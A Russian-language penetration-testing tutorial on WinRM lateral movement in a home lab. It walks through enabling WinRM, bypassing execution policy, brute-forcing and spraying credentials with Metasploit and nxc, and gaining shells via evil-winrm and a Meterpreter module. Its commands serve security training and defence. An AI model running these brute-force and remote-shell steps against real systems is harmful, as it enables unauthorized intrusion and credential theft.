В данной статье мы поговорим про пентест WinRM. Я покажу, как злоумышленник может использовать WinRM для латерального перемещения внутри сети.
Еще по теме: Использование Evil-winrm в пентесте на Kali Linux
Что такое WinRM
WinRM (Windows Remote Management) — это протокол, разработанный компанией Microsoft для удаленного управления оборудованием на машинах с Windows. Этот компонент Windows Management Framework реализует протокол WS-Management — стандартный протокол веб-служб для удаленного управления ПО и оборудованием. WS-Management основан на SOAP и поддерживает схему XML. WinRM использует порт 5985 для HTTP и 5986 для HTTPS.
Настройка WinRM
Для настройки стенда необходимо включить и настроить службу WinRM как на сервере, так и на отдельной машине. В данном случае я использую Windows 10 как отдельную машину и Windows Server 2019 в качестве сервера.
- Сервер — Windows Server 2019 (192.168.31.70)
- Отдельная машина — Windows 10
- Машина атакующего — Kali Linux (192.168.31.141)
Статья в образовательных целях, для обучения этичных хакеров. При написании статьи использовались личные устройства автора. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Настройка WinRM на Windows Server
Для выполнения некоторых скриптов или задач необходимо обойти политику выполнения. Это не изменяет системную политику выполнения, а применяется только к текущей сессии PowerShell:
1 |
powershell -ep bypass |
Команда Enable-PSRemoting настраивает компьютер для получения удаленных команд PowerShell с использованием технологии WS-Management:
1 |
Enable-PSRemoting -force |
По умолчанию WinRM слушает на порту 5985 для HTTP и 5986 для HTTPS. Можно разрешить подключения от определенных удаленных хостов, используя символ подстановки * для всех машин в сети:
1 2 |
winrm quickconfig -transport:https Set-Item wsman:\localhost\client\trustedhosts * |
После завершения конфигурации службу можно перезапустить:
1 |
Restart-Service WinRM |
Добавление пользователя-администратора в группу удаленного управления:
1 |
net localgroup "Remote Management Users" /add administrator |
Настройка WinRM на Windows 10
Необходимо выполнить те же действия, что и для настройки сервера. Команда Enable-PSRemoting может выдать ошибку, однако она будет выполнена успешно.
Тестирование подключения
Для проверки подключения используйте команду test-wsman. Если соединение успешно, команда вернет информацию о версии:
1 |
test-wsman -computername "192.168.31.70" |
Боковое перемещение (локально)
После активации службы WinRM можно попробовать различные способы латерального перемещения с использованием службы WinRM. Предполагается, что первоначальный доступ к системе уже получен как пользователь.
Команда Enter-PSSession используется для подключения к удаленному серверу. После установления соединения можно выполнять системные команды.
1 2 |
Enter-PSSession -ComputerName 192.168.31.70 -Credential administrator systeminfo |
Команда winrs использует службу WinRM для подключения к удаленным системам и выполнения команд.
1 |
winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 ipconfig |
Команда Invoke-Command позволяет выполнить команду на удаленном хосте.
1 |
Invoke-Command -ComputerName "192.168.31.70" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {ipconfig /all} |
Боковое перемещение (удаленно)
Для подключения к службе WinRM удаленно сначала необходимо выполнить сканирование.
1 |
nmap -p5985,5986 -sV 192.168.31.70 |
Используйте модуль winrm_auth_methods в Metasploit для определения методов аутентификации.
1 2 3 |
use auxiliary/scanner/winrm/winrm_auth_methods set rhosts 192.168.31.70 run |
Можно использовать модуль winrm_login для брутa логина.
1 2 3 4 5 6 7 |
use auxiliary/scanner/winrm/winrm_login set rhosts 192.168.31.70 set user_file users.txt set pass_file pass.txt set password N/A run sessions 1 |
Как только будут найдены правильные учетные данные, будет установлена сессия.
Можно использовать nxc для реализации атаки на службу WinRM методом Password Spray. Просто используйте файл с именами пользователей и паролями в качестве входных данных.
1 |
nxc winrm 192.168.31.70 -u users.txt -p pass.txt |
Когда найдены правильные имя пользователя и пароль, можно войти в удаленную систему с помощью инструмента evil-winrm.
1 |
evil-winrm -i 192.168.31.70 -u administrator -p Ignite@987 |
Также можно выполнить команды напрямую, используя флаг -x с nxc после нахождения верных учетных данных.
1 |
nxc winrm 192.168.31.70 -u administrator -p Ignite@987 -x ipconfig |
После нахождения правильных учетных данных можно выполнить команду с использованием модуля auxiliary/scanner/winrm/winrm_cmd внутри Metasploit. Команды:
1 2 3 4 5 |
use auxiliary/scanner/winrm/winrm_cmd set cmd ipconfig set username administrator set password Ignite@987 run |
Также можно открыть сессию Meterpreter, используя модуль exploit/windows/winrm/winrm_script_exec, который автоматически пытается выполнить привилегированное выполнение, переносясь на процесс уровня системы.
1 2 3 4 5 |
use exploit/windows/winrm/winrm_script_exec set rhosts 192.168.31.70 set username administrator set password Ignite@987 run |
Получив учетные данные для службы WinRM, можно использовать функциональность WMI для выполнения произвольных WQL-запросов на целевой системе.
Здесь можно указать запрос для получения имени и статуса службы из Win32_Service.
1 2 3 4 5 6 |
use auxiliary/scanner/winrm/winrm_wql set rhosts 192.168.31.70 set username administrator set password Ignite@987 set wql Select Name,Status from Win32_Service run |
Используйте образ Docker с поддержкой NTLM для PS-Remoting с Linux на Windows.
1 2 3 |
docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 192.168.31.70 -Authentication Negotiate -Credential $creds |
Можно также подключиться к удаленному серверу с включенным WinRM, используя Ruby-скрипт. Скрипт можно найти здесь:
Необходимо изменить скрипт, указав имя пользователя, пароль и конечную точку.
1 |
cat winrm_shell_with_upload.rb |
После изменения скрипта его можно выполнить с помощью Ruby.
1 2 |
ruby winrm_shell_with_upload.rb ipconfig /all |
Заключение
WinRM — это полезная служба для выполнения ежедневных задач, но, если она неправильно настроена, этим может злоупотребить злоумышленник для получения доступа к оболочке. Поэтому я рекомендую предоставлять права аутентификации только доверенным пользователям.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Список всех модулей CrackMapExec
- Атака RBCD для захвата домена Active Directory
- Использование bloodyAD для работы с LDAP на Kali Linux